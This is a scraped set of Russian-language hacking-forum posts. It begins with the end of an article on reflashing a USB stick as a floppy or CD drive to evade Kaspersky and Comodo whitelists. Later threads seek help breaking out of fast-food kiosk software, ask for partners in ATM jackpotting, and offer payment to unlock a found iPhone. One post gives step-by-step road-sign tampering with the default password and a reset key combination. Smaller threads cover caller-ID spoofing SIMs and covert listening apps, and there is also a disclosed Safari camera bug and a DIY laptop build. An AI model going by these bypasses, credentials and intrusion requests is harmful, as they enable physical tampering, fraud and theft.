![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20487%2Fimage29.png&hash=7e6d0d70d1416d44a6edbf6c8ff69497)

![Прошивка флешки в роль дискеты](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20488%2Fimage30.png&hash=e3b2ec4fab7afefa44543a2221b6cfc4)
Прошивка флешки в роль дискеты

Floppy-дисковод работает, зачет :)

Проверим на Каспере. По‑прежнему блокируется USB для любых флешек, кроме доверенных, но «дисковод» успешно подключается, можно читать‑писать информацию. Доступа к флешечному разделу по‑прежнему не предвидится.

Если сравнивать информацию о Floppy в Касперском с информацией по USB, то разница заключается только в типе устройства (Дискеты vs Съемные диски).

При включении блокировки дискет данный метод, конечно, не сработает.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F73b75d07acfa39aa5c87fb66dfe71684%2F20493%2Fcompare.png&hash=0d116e56a688b5ede98a8df2397df33c)

CD-привод​

Аналогичный подход, но теперь попробуем создать на флешке CD-раздел и предварительно записать на него образ из ISO-файла. Недостаток очевиден — можно только считывать инфу с CD-раздела, записать на флешку файлы ты уже не сможешь. Но запустить установщик любимой игрули — без проблем. Берем ту же самую флешку на контроллере SM3267AB и через SMI прошиваем CD-раздел. В разделе Multi-lun Setting выставляем галочку Static CDROM Size и указываем размер под твой ISO, который мы будем туда заливать.

![Прошивка флешки в роль CD- привода](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F73b75d07acfa39aa5c87fb66dfe71684%2F20499%2Fimage31.jpg&hash=6555c641b9efb4b628ff2567f001cfd9)
Прошивка флешки в роль CD-привода

На вкладке Main Flow Setting около галки с Make Auto Run задаем путь к ISO- образу, например с Kali Linux — или чем‑нибудь другим. После прошивки флешка отображается в проводнике как отдельный флеш‑накопитель и CD-привод. С CD- раздела можно читать, копировать файлы — все как при классическом монтировании ISO-образа.

Что же на это скажут наши блокировщики? В Касперском и других коммерческих решениях ситуация полностью аналогична случаю с дискетами: CD-раздел успешно подключен и готов к использованию.

Покупка мутантов​

Есть, кстати, готовые флешки, которые содержат CD-раздел с утилитами для подключения «закрытого» раздела — как, например, в Jet Flash Transcend 620. Выглядит он примерно как CD-раздел с программулиной + 2 USB-раздела — открытый и пока закрытый, до ввода пароля. Размер приватной области настраивается.

![Пример флешки-мутанта](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20490%2Fimage32.png&hash=b1a41bf4a38f6ba04c77ba97b4b39d1b)
Пример флешки‑мутанта

![Интерфейс программы JetFlash SecureDrive](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F80d7f80aad40fc8b009e5e73efc26f41%2F20492%2Fimage34.png&hash=b1e2eb36a7bacbf6033bbe9050689ad6)
Интерфейс программы JetFlash SecureDrive

Так вот, при работе белого списка по USB-накопителям в Касперском (если CD- привод не заблокирован) такая флеха вполне себе монтирует CD-раздел — можно и запускать, и копировать проги с него. При попытке смонтировать защищенный раздел — отказ в доступе. Чтобы спастись от этой напасти, нужно заблокировать CD-привод, хотя в родителе устройства указан все тот же старый добрый USB- идентификатор, что странно. В Comodo возможность монтирования такого недоверенного носителя исключена в принципе. Почему? Вопрос к реализации СЗИ и механизмам организации белых списков.

ВЫВОД​

В статье мы рассмотрели варианты формирования максимально правдоподобного клона флешки, который позволяет обходить всевозможные блокировки. В зависимости от степени замороченности, можно обойти почти любой белый список. Как нам видится, для гарантированной защиты от подмены USB можно было бы указывать в СЗИ конкретные модели флешек и заносить в белый список хеш от CID области, от комбинации VID + PID + Serial или добавлять хеш вывода ChipGenius (ну либо его части). Неплохо было бы добавлять в идентификационную информацию данные о модели контроллера девайса.

В связи с тем что мы знаем парочку операционных систем, которые в качестве значений для белого списка используют название производителя или иные подобные параметры, было бы здорово на уровне ОС контролировать подключаемые носители на предмет их подмены или несоответствия обычному (ожидаемому) поведению (например, можно сравнивать VSN/UUID и ловить отличия при одинаковом DeviceID).

Безопасникам мы рекомендуем полностью блокировать подключение дискет и дисков в ОС, чтобы исключить описанные варианты обхода защиты. Будем рады получить обратную связь в комментариях. Может быть, у читателей найдутся прикольные решения для защиты от клонов или анализа аномалий при подключении устройств.

авторы:
boris-razor
alex-mess
хакер.ру

Как обойти приложение киоска в фастфудах и получить удалённый доступ
ID: 676535aeb4103b69df37365c
Thread ID: 50272
Created: 2021-04-04T15:36:50+0000
Last Post: 2021-04-20T23:18:54+0000
Author: whodatboy
Replies: 19 Views: 3K

Всем привет, обедая в большом М заметил что один из киосков самообслуживания не работает, а ошибки на экране содержищие пути "C:\..." натолкнули на мысль что там стоит винда.
Поискал что за софт используется, из вариантов: provisio sitekiosk (по логотипу вроде он был) и win10 kiosk mode.
Из идей как загрузить туда пейлоад: если открыть отсек с принтером, то там будут io порты (проверял), можно провести badusb атаку.
Вопрос заключаетя в том как обойти программу контролирующую киоск и имеет ли он доступ в интернет?

Миниатюрный диктофон
ID: 676535aeb4103b69df373702
Thread ID: 5543
Created: 2005-11-12T18:47:49+0000
Last Post: 2005-11-12T19:11:58+0000
Author: kidnder surpsise
Replies: 4 Views: 3K

Видел у нас в магазине диктофон, размером в пол коробка, запись на 9 часов,активен 160 часов, ожидание 2 года, активация с голоса,!Две кнопки, запись скидывается на комп через USB. Что ? Это? Такое?

Слушаем происходящее возле Android-смартфона
ID: 676535aeb4103b69df37365e
Thread ID: 46968
Created: 2021-01-19T08:30:38+0000
Last Post: 2021-03-26T07:39:35+0000
Author: tuma
Replies: 3 Views: 3K


В iOS есть функция «Live-прослушивание», с помощью которой можно прослушивать происходящее вокруг устройства через беспроводные наушники, например, находясь в другой комнате. В Android тоже можно реализовать подобную функцию, но с помощью сторонних приложений.

Одно из таких приложений — Ear Agent . Вам необходимо дать приложению доступ к микрофону, подключить к устройству беспроводные наушники. Как только вы активируете прослушивание, приложение начнёт в режиме реального времени транслировать весь окружающий звук на наушники, которые подключены к устройству.

Учтите, что приложение будет транслировать звук даже на встроенный динамик телефона, поэтому убедитесь в подключении наушников прежде, чем активировать эту функцию. Также вы можете воспользоваться эквалайзером, чтобы усилить или заглушить конкретную частоту, добившись оптимального звучания.

Русские симки
ID: 676535aeb4103b69df373661
Thread ID: 40952
Created: 2020-08-15T13:51:24+0000
Last Post: 2021-03-09T08:33:47+0000
Author: xshaman
Replies: 11 Views: 3K

Киберпреступники взяли на вооружение так называемые "русские", "зашифрованные" или "белые" SIM-карты, позволяющие им менять телефонные номера и искажать голос звонящего. Об этом изданию Motherboard сообщил анонимный владелец сайта, занимающегося продажей таких "симок".

По словам продавца, предлагаемые им SIM-карты позволяют подделать любой номер по желанию, причем для каждого звонка можно устанавливать отдельный номер (в таком случае собеседник не сможет добавить звонящего в черный список). К примеру, с их помощью мошенники могут сделать так, будто звонят с номера телефона банка, или просто сгенерировать произвольный набор цифр, чтобы собеседник не смог определить настоящий номер звонящего. Настройка такой SIM- карты занимает секунды, а инструкции доступны online.

"Русские симки" отличаются по качеству и функционалу. Помимо спуфинга телефонных номеров некоторые из них также позволяют менять голос во время разговора, например, делать его более низким и грудным или, наоборот, высоким и визгливым. Некоторые карты имеют большее преимущество, так как являются "международными" и обеспечивают неограниченный объем данных.
Купить "русскую симку" можно анонимно, не предоставляя о себе никаких данных, заплатив биткойнами. "Это самые популярные SIM-карты в преступном мире", - сообщил один из источников Motherboard.

Большой популярностью у преступников пользуются так называемые зашифрованные мобильные устройства - кастомизированные смартфоны, у которых камера, микрофон и GPS были удалены. Часто производители таких устройств вместе со смартфоном предлагают своим покупателям и "русскую симку". - перепечатка новости с мазы, INC разместил.

Кто-то, что-нибудь об этом слышал? Или опять журналистский высер?

atm
ID: 676535aeb4103b69df373662
Thread ID: 36033
Created: 2020-04-03T10:10:55+0000
Last Post: 2021-02-21T05:17:18+0000
Author: judas333
Replies: 3 Views: 3K

Ищу кто работал или ещё работает с атм jackpot i blackbox

вытащить hash из приложения ios
ID: 676535aeb4103b69df373664
Thread ID: 46322
Created: 2021-01-04T21:58:00+0000
Last Post: 2021-02-17T20:00:25+0000
Author: ibenji
Replies: 9 Views: 3K

чем можно вытащить хэш пароля из приложения вк на айфоне ? ios 14.3
тулзы от elcomsoft особо не помогли

Взломать любой ЗНАК ДОРОЖНОГО СООБЩЕНИЯ
ID: 676535aeb4103b69df373668
Thread ID: 43142
Created: 2020-10-11T21:18:48+0000
Last Post: 2020-11-14T14:09:39+0000
Author: r1z
Replies: 2 Views: 3K

121472212_3996740940341555_1546701465518273852_n.jpg
xD забавный хак; и быстро!
** ТОЛЬКО ДЛЯ ИНФОРМАЦИОННЫХ ЦЕЛЕЙ **
Сколько раз вы ездили по таким электронным дорожным знакам, как один из этих?
Это переносная вывеска ADDCO. Сегодня вы увидите, что находится внутри, и как они запрограммированы для отображения важной информации.

*** ВНИМАНИЕ: НИКОГДА НЕ СЛЕДУЕТ ИСПОЛЬЗОВАТЬ ДАННЫЕ ЗНАКИ ***

Панель доступа на знаке обычно защищена небольшим замком, но часто остается незащищенной. Открыв панель доступа, вы увидите электронику дисплея.

Пульт управления чёрный крепится фигурным шнурком, клавиатура находится на лицевой стороне.

Программирование так же просто, как прокрутка пункта меню вниз до «Мгновенный текст». Введите все, что вы хотите отобразить, нажмите Enter, чтобы отправить. Теперь вы можете либо бросить его на знак, выбрав «Запустить без сохранения», либо добавить к нему дополнительные страницы, выбрав «Добавить страницу»

** НЕ ВВОДИТЕ ПАРОЛИ, КОТОРЫЕ НЕ ПРИНАДЛЕЖАЮТ ВАМ, НО ЕСЛИ ВЫ БЫЛИ ЛЮБОПЫТНЫМ ... ** Если он попросит вас ввести пароль. Попробуйте "DOTS", пароль по умолчанию.
По всей видимости, экипаж не стал его менять. Однако, если они это сделали, не бойтесь. Зажать «Control» и «Shift» и, удерживая, ввести «DIPY». Это сбросит знак и сбросит пароль на «ТОЧКИ» в процессе. Ты в!

// English users; xD funny hack; and quick!

FOR INFORMATIONAL PURPOSES ONLY
How many times have you driven by an electronic road sign like one of these?
This is the ADDCO portable sign. Today, you see what is on the inside, and how they are programmed to display important information.

*** WARNING YOU SHOULD NEVER TAMPER WITH THESE SIGNS ***

The access panel on the sign is generally protected by a small lock, but often are left unprotected. Upon opening the access panel you can see the display electronics.

The black control pad is attached by a curly cord, with a keyboard on the face.

Programming is as simple as scrolling down the menu selection to "Instant Text". Type whatever you want to display, Hit Enter to submit. You can now either throw it up on the sign by selecting "Run w/out save" or you can add more pages to it by selecting "Add page"

** DO NOT ENTER PASSWORDS THAT DONT BELONG TO YOU BUT IF YOU WERE CURIOUS... ** Should it will ask you for a password. Try "DOTS", the default password.
In all likelihood, the crew will not have changed it. However if they did, never fear. Hold "Control" and "Shift" and while holding, enter "DIPY". This will reset the sign and reset the password to "DOTS" in the process. You're in!

Простите если не туда. Вопрос по айфону
ID: 676535aeb4103b69df373669
Thread ID: 41731
Created: 2020-09-03T23:27:10+0000
Last Post: 2020-11-13T07:45:37+0000
Author: Makaroha99
Replies: 5 Views: 3K

айфон отключён подключитесь к itunes. Собственно все что я вижу на экране. Телефон найденный. Как то могу решить вопрос? Дайте дельный совет. Если с работает способ, заплачу 1500. Сгласен на гаранта

iPhone Camera Hack [взлом камеры iPhone]
ID: 676535aeb4103b69df373677
Thread ID: 36297
Created: 2020-04-13T03:42:43+0000
Last Post: 2020-09-02T08:02:09+0000
Author: Joynses
Replies: 5 Views: 3K

[CLIKE]Я обнаружил уязвимость в Safari, которая давала доступ к вашей камере на iOS и MacOS несанкционированным веб-сайтам.

Представьте, что вы находитесь на популярном веб-сайте, когда внезапно рекламный баннер захватывает вашу камеру и микрофон, чтобы шпионить за вами. Это именно то, что позволила бы эта уязвимость.

Эта уязвимость позволяла вредоносным веб-сайтам маскироваться как надежные веб-сайты при просмотре в Desktop Safari (например, на компьютерах Mac) или Mobile Safari (например, на iPhone или iPad).

Затем хакеры могут использовать свою мошенническую личность для вторжения в личную жизнь пользователей. Это сработало, потому что Apple позволяет пользователям постоянно сохранять свои настройки безопасности для каждого веб- сайта.

Если злонамеренному веб-сайту требовался доступ к камере, все, что ему нужно было сделать, это выдать себя за надежный веб-сайт для видеоконференций, такой как Skype или Zoom.

Я разместил технические подробности того, как я нашел эту ошибку в длинном пошаговом руководстве здесь.

Мое исследование выявило семь уязвимостей нулевого дня в Safari (CVE-2020-3852, CVE-2020-3864, CVE-2020-3865, CVE-2020-3885, CVE-2020-3887, CVE-2020-9784, и CVE- 2020-9787), три из которых были использованы в цепи уничтожения для доступа к камере.

Проще говоря - ошибка заставила Apple думать, что вредоносный сайт на самом деле является доверенным. Это было сделано путем использования ряда недостатков в том, как Safari анализирует URI, управляет веб- происхождением и инициализирует [безопасный контекст.](https://developer.mozilla.org/en- US/docs/Web/Security/Secure_Contexts)

Если вредоносный веб-сайт объединяет эти проблемы, он может использовать JavaScript для прямого доступа к веб-камере жертвы без запроса разрешения. Любой код JavaScript с возможностью создания всплывающего окна (например, отдельный веб-сайт, встроенный рекламный баннер или расширение браузера) может запустить эту атаку.

Я сообщил об этой ошибке Apple в соответствии с правилами программы Security Bounty и использовал BugPoC для демонстрации. Apple посчитала, что этот эксплойт попадет в категорию «Сетевая атака без взаимодействия с пользователем: несанкционированный доступ к конфиденциальным данным Zero- Click» и присудил мне 75 000 долларов.

Spoiler: Информация

Перевод статьи от Joynses
Источник

Спасибо за внимание![/CLIKE]

Ноутбук своими руками. Выбираем комплектующие и собираем производительный лэптоп
ID: 676535aeb4103b69df373682
Thread ID: 38326
Created: 2020-06-10T18:44:06+0000
Last Post: 2020-07-17T09:38:00+0000
Author: tabac
Prefix: Статья
Replies: 12 Views: 3K

Ты решил приобрести производительный портативный компьютер, но смотришь на цены и печалишься: мощь и портативность одновременно — дорогое удовольствие. В этой статье я расскажу, как собрать портативный лэптоп из стандартных десктопных комплектующих своими руками, а также в чем плюсы такого подхода. Свое детище я назвал Truebook.

Почему нельзя просто купить мощный ноутбук?
Для начала — в ноутбуки устанавливают мобильные процессоры с урезанным TDP.

TDP (Thermal Design Power) — это конструктивные требования к теплоотводу. Эта величина показывает максимальное количество тепла, которое должна рассеивать система охлаждения чипа.

Производители принимают величину TDP равной максимальной мощности, которую потребляет чип. Потребляемую мощность проще измерить, и в конце концов вся она будет рассеяна в виде тепла.

Показатель TDP не равен энергопотреблению, хотя и связан с ним. В большинстве случаев процессор с более высоким значением TDP потребляет энергию (и выделяет тепло) сильнее, чем с меньшим, но это справедливо при сравнении продукции одного производителя, например Intel или AMD. Бывает, что чип AMD с заявленной мощностью в 95 Вт экономичнее, чем Intel с 90 Вт.

Давай сравним характеристики нескольких мобильных и десктопных процессоров компании Intel. Возьмем процессор i5-2500, который используется в настольных компах, и i5-2557M для ноутбуков.

Сравнивать мы будем на сайте компании Intel. Как видишь, расчетная мощность — она же TDP — у этих процессоров сильно отличается. У мобильного i5-2557M она равна 17 Вт, а у десктопного i5-2500 — целых 95 Вт.

Не зря инженеры занижают основные параметры процессоров: количество ядер, частоту процессора. Это позволяет добиться снижения TDP. Охлаждать процессор в тонком корпусе ноутбука станет намного проще.

В заводских ноутбуках меня не устраивают не только слабые процессоры, но и ограниченные возможности апгрейдить железо. Конечно, в более дорогих игровых ноутбуках можно обновить процессор, твердотельный накопитель, оперативную память и даже дискретную видеокарту, но зачастую лишь в пределах одного поколения процессоров. Не исключено, что через несколько лет твой ноутбук устареет и ты ничего не сможешь с этим поделать.

Еще один недостаток заводских ноутбуков — матрица расположена на фиксированном расстоянии от клавиатуры, и это можно исправить, только подключив внешний монитор или клавиатуру.

Все это привело меня к мысли собрать собственный ноутбук. Пусть он не будет особенно тонким, достаточно, чтобы можно было перевозить его с места на место без особого труда.

Подбор комплектующих
Я поставил перед собой три основные цели.

  1. Возможность полного апгрейда всех компонентов.
  2. Использование десктопных комплектующих.
  3. Поддержка стандартных комплектующих (материнских плат, матриц).

Поговорим о выборе каждого из компонентов.

Матрица
Поскольку гаджет планируется довольно мобильным, я решил, что матрица должна быть ноутбучной. В ноутах используются матрицы с разными типами разъемов. Рассмотрим основные.

Несмотря на полную совместимость цифрового сигнала с внешним DisplayPort, eDP дополнен функциями для использования внутри устройств (электропитание дисплея, частота, уровень подсветки, управление буфером Panel Self-refresh).

Panel Self- refresh — технология, с помощью которой дисплей отображает картинку, когда нет видеосигнала, и меняет ее по требованию графического процессора.

Еще eDP поддерживает интеграцию в видеосигнал дополнительных цифровых пакетов, что позволяет реализовать на плате дисплея другие интерфейсы. Например, можно добавить микрофон, веб-камеру, тач-поверхность, хаб USB. Это позволяет снизить количество проводников в шлейфе для подключения к системной плате и сократить стоимость деталей и обслуживания.

В отличие от LVDS в eDP снижено общее количество линий, необходимых для передачи данных. И всё без потери качества и с контролем четкости!

В ближайшие несколько лет, думаю, стандарт eDP вытеснит с рынка устаревший LVDS. Для наглядности приведу таблицу сравнения технических характеристик интерфейсов.
![Сравнение LVDS и eDP](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13078%2F01.jpg&hash=efe3467c5d403a8b8aecab470c114b67)
Сравнение LVDS и eDP

Матрицы Full HD на интерфейсе eDP по цене намного ниже, чем c поддержкой LVDS. Это тоже необходимо учитывать, но для меня выбор оказался не так прост.

А пока что я остановился на диагонали матрицы 15,6 дюйма.

Материнская плата
![Основные форм-факторы материнских плат](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13079%2F02.jpg&hash=3c338ac2592279ac3b311fd8004076d5)
Основные форм-факторы материнских плат

Теперь необходимо выбрать материнскую плату. Именно она будет диктовать свои правила поддержки (или ее отсутствия) интерфейсных и прочих не менее важных разъемов.

Чтобы выбрать материнскую плату, нужно определиться с ее форм-фактором. Лучше всего к пятнадцатидюймовой матрице подходят форматы mini-ITX, Mini-STX и thin mini-ITX.

![ASRock H110TM-ITX R2.0](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13080%2F03.jpg&hash=669b31b7bd04d8cd43c27499d8d0bb66)
ASRock H110TM-ITX R2.0
Одна из самых важных опций — должен быть разъем LVDS для подключения матрицы.

Все остальное
Поскольку на выбранной материнской плате в наличии был только разъем LVDS 40pin, то и матрицу я решил взять c таким же разъемом. Остановился я на матрице Innolux N156B6-L0B c диагональю 15,6 дюйма.

К процессору требований у меня было меньше: лишь бы работал и был мощнее мобильных.

Оперативная память — планка SO-DIMM DDR4, накопитель — SSD Sata M2 120 Гбайт.

Для первой тестовой сборки этого хватило.

Кулер для процессора
Я изучил варианты сначала в местных магазинах, а позже — на «Алиэкспрессе», но так и не нашел ничего подходящего.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13081%2F04.jpg&hash=7bafe0bbf30fabdccabbce65f3bd193b)
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13082%2F05.jpg&hash=d514d0d8c00b49a2cbdb5724cb4501c8)
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13083%2F06.jpg&hash=0bab97564a9725746434b43134034e44)
В найденных вариантах меня не устраивало расположение радиатора и изгиб тепловых трубок — я собирался поместить материнскую плату в корпусе таким образом, чтобы, во-первых, разъемы были по правую сторону от пользователя, а во-вторых, процессор располагался бы ближе к верхней грани устройства. Так охлаждение будет более эффективным.

В итоге мой выбор пал на процессорный кулер Intel, модель [BXHTS1155LP](https://market.yandex.ru/product--kuler-dlia-protsessora-intel- bxhts1155lp/8456141).

![Intel BXHTS1155LP](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13084%2F07.jpg&hash=c65bb76cbbabae62f28c17dd071b8885)
Intel BXHTS1155LP

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13085%2F08.jpg&hash=6938253a845fb51ee2f7d5a612e00d16)

Шлейф LVDS для соединения матрицы ноутбука и материнской платы
Изначально я предположил, что этот шлейф можно позаимствовать у ноутбука с идентичным разъемом LVDS. Я работал в сервисе, и через мои руки ежедневно проходило множество ноутбуков, но меня постигло разочарование. Прошло три года, прежде чем я нашел подходящий мне по распиновке шлейф LVDS.

Когда все комплектующие были у меня, я принялся за моделирование корпуса.

Создание макета
Изначально корпус задумывался в форме классического ноутбука: нижняя часть с клавиатурой и основными комплектующими — материнской платой, накопителем и прочим, а верхняя — с матрицей и веб-камерой. Соединялись бы части с помощью петель.

Далее были разработаны и подготовлены трехмерные модели для этого варианта корпуса. Я планировал сделать его из металла.

Модель нижней части корпуса из листового металла с отверстиями в основании для крепления материнской платы, перфорированными отверстиями для вентиляции на передней грани. Сзади расположены площадки для крепления петель матрицы.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13086%2F09.jpg&hash=aa2dc2323d34b2d97f79f850a04d5bfa)
Другая сборная модель нижней части корпуса с перфорациями для забора воздуха на передней грани и креплением для петель матрицы — на задней.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13088%2F11.jpg&hash=3ee2a2600307d2d190a49da49fa16c84)
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13087%2F10.jpg&hash=c5fd8458afbdbabfcbda961017443ac3)
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13089%2F12.jpg&hash=a7dc7d70b486f115d6abd6ea10f009ac)
Модель верхней крышки для нижней части корпуса представляет собой листовой металл с перфорациями для встроенных динамиков и выемку для съемной беспроводной клавиатуры.

В процессе я понял, что нужно полностью перерабатывать и упрощать модель корпуса: уменьшить корпусные детали и сократить подвижные узлы.

Новая конструкция получилась довольно простой и легкой в изготовлении: две основные пластиковые части, верхнюю и нижнюю, крепим к основанию из алюминия, на него также прикрепляются все основные комплектующие, а сверху кладем в пазы матрицу и также накрываем крышкой из листового металла. По бокам, слева и справа, располагаются интерфейсные разъемы, которые также прикрываем накладками.

![Накладки](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13091%2F14.jpg&hash=cb6e94b2fdba147fe503f9ac242c68c1)
Накладки

На верхней пластиковой части должна быть перфорация, которая занимает 80% места задней грани, на остальных 20% расположены два отверстия для съемных антенн Wi-Fi, чтобы без проблем можно было установить направленную антенну.

На нижней части по краям устроены перфорации для забора свежего воздуха, на верхней грани по краям — перфорации и крепления для двух динамиков, а по центру — отверстие под кнопку диаметром 12 мм для включения и отключения экрана.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13092%2F15.jpg&hash=c081aa76f15d20156eb6d3e44b997682)
![Задняя грань верхней части](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13093%2F16.jpg&hash=270af52b2aa00ec5d8a677b2a08c0c06)
Задняя грань верхней части

![Передняя грань нижней части](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13094%2F17.jpg&hash=38afc66ff2d54a2684e6b913e1d353f1)
Передняя грань нижней части

![Вид снизу](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13095%2F18.jpg&hash=d90778bcadf509563ea4bb28ab0e8ada)
Вид снизу

Пластиковые части я изготовил на 3D-принтере, а металлические вырезал из листовой стали и алюминия.

Сборка

Корпус
Когда у меня на руках были пластиковые детали корпуса, оставалось их обработать вручную: удалить поддержки, выровнять углы, вклеить резьбовые вставки M3, чтобы закреплять на них остальные части корпуса. Затем я последовательно примерял комплектующие и подпиливал напильником все, что плохо стыковалось.

![Примерка боковых интерфейсных разъемов](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13096%2F19.jpg&hash=58546185d7ab414fd77c675f47c484dd)
Примерка боковых интерфейсных разъемов

![Примерка боковых интерфейсных разъемов и верхней крышки](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13097%2F20.jpg&hash=bc016b52d42f71167ee8e250937d3a78)
Примерка боковых интерфейсных разъемов и верхней крышки

![Примерка материнской платы](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13098%2F21.jpg&hash=a8abe9f49587a734416112afd87f1d57)
Примерка материнской платы

![Изготовлен и установлен на свое место воздуховод для быстрого вывода горячего воздуха из корпуса](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13099%2F22.jpg&hash=94c18a1049daee952775d8028b11222d)
Изготовлен и установлен на свое место воздуховод для быстрого вывода горячего воздуха из корпуса

![Примерка воздуховода и кулера — выставлены идеально!](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13100%2F23.jpg&hash=48aa9c1d4e0907e61a80885ad16b8c2d)
Примерка воздуховода и кулера — выставлены идеально!

![Примерка накладок для боковых интерфейсных разъемов](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13101%2F24.jpg&hash=a6b2595c9559f4c473a73231f03192bc)
Примерка накладок для боковых интерфейсных разъемов

![Примерка накладок для боковых интерфейсных разъемов](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13102%2F25.jpg&hash=265a5a057616031672ecfd40ee00bf3c)
Примерка накладок для боковых интерфейсных разъемов

![Примерка матрицы](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13103%2F26.jpg&hash=e7273bb41f0338b922c2e30b881ae096)
Примерка матрицы

После того как я убедился в полной совместимости всех корпусных частей и комплектующих, корпус был отправлен на порошковую покраску.
![Корпусные части после порошковой покраски](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13104%2F27.jpg&hash=f9228ee0f19804767fae875d4d36a67a)
Корпусные части после порошковой покраски

Железо
Далее — первоначальная сборка железа в корпус. Заняла около девяти часов.

Для питания устройства я выбрал защищенный от влаги разъем с защелкой, который подпаял к блоку питания от ноутбука.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13109%2F32.jpg&hash=128ef35b78292690ca527db8d8e81efd)
Следующий этап — пайка проводов для кнопок и разъемов USB. Также я подключил картридер для карт памяти microSD.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13110%2F33.jpg&hash=9474099cf82311ae4adda8fc0a5ae4a2)
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13107%2F30.jpg&hash=e4260c7bfec28e13c6e4d784de036338)
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13108%2F31.jpg&hash=c37857c5a6ff9e55458802f200400abc)
Вот что получилось в итоге.

![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13111%2F34.jpg&hash=30b82f9c7f7c8f39dbed9992b2b8986f)
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13113%2F36.jpg&hash=f71dff776c46c2ae2a61b66956152a43)
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13115%2F38.jpg&hash=a5f35b1163a3e7138b153108de5be92c)
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13116%2F39.jpg&hash=5a1c3f2fd1d188b8168fd4c65d1f3bc0)
![](/proxy.php?image=https%3A%2F%2Fst768.s3.eu- central-1.amazonaws.com%2F08dbbd1d1c1bd652ac80de232bd64a67%2F13117%2F40.jpg&hash=7c098a312db3aa2f7d70efb935d45815)
